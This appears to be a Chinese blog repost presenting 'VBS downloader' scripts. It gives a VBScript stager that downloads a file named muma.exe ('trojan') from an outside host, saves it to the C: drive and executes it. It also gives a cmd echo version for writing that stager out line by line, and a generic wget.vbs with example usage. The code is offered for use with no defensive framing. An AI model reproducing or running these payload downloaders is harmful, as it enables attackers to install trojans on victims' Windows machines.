zoukankan      html  css  js  c++  java
  • vbs下载者

    一、VBS下载者:
    
    Set Post = CreateObject("Msxml2.XMLHTTP")
    Set Shell = CreateObject("Wscript.Shell")
    Post.Open "GET","http://www.03389.com/muma.exe",0
    Post.Send()
    Set aGet = CreateObject("ADODB.Stream")
    aGet.Mode = 3
    aGet.Type = 1
    aGet.Open()
    aGet.Write(Post.responseBody)
    aGet.SaveToFile "c:zl.exe",2
    wscript.sleep 1000
    Shell.Run ("c:zl.exe") '延迟过后执行下载文件
    
    
    二、cmd下执行的版本:
    
    echo Set Post = CreateObject("Msxml2.XMLHTTP") >>zl.vbs
    echo Set Shell = CreateObject("Wscript.Shell") >>zl.vbs
    echo Post.Open "GET","http://www.03389.com/muma.exe",0 >>zl.vbs
    echo Post.Send() >>zl.vbs
    echo Set aGet = CreateObject("ADODB.Stream") >>zl.vbs
    echo aGet.Mode = 3 >>zl.vbs
    echo aGet.Type = 1 >>zl.vbs
    echo aGet.Open() >>zl.vbs
    echo aGet.Write(Post.responseBody) >>zl.vbs
    echo aGet.SaveToFile "c:zl.exe",2 >>zl.vbs
    echo wscript.sleep 1000 >>zl.vbs
    echo Shell.Run ("c:zl.exe") >>zl.vbs
    
    三、wget.vbs
    
    on error resume next
    iLocal=LCase(Wscript.Arguments(1))
    iRemote=LCase(Wscript.Arguments(0))
    iUser=LCase(Wscript.Arguments(2))
    iPass=LCase(Wscript.Arguments(3))
    set xPost=CreateObject("Microsoft.XMLHTTP")
    if iUser="" and iPass="" then
    xPost.Open "GET",iRemote,0
    else
    xPost.Open "GET",iRemote,0,iUser,iPass
    end if
    xPost.Send()
    set sGet=CreateObject("ADODB.Stream")
    sGet.Mode=3
    sGet.Type=1
    sGet.Open()
    sGet.Write xPost.ResponseBody
    sGet.SaveToFile iLocal,2
    
    使用方法:cscript wget.vbs http://www.moonsec.com/muma.exe
  • 相关阅读:
    读TIJ -2 一切都是对象
    codeforces 437C The Child and Toy
    关于js基础easy忘记的那些事儿
    项目启动会应该注意的几点
    SSH-Struts(一)——基本原理
    公益代理-开发人员的福音
    【手打】LZW编码的C/C++实现
    tab group of firefox
    Sort Colors -- LeetCode
    Qt 学习之路:自定义事件
  • 原文地址:https://www.cnblogs.com/hookjoy/p/4920055.html
Copyright © 2011-2022 走看看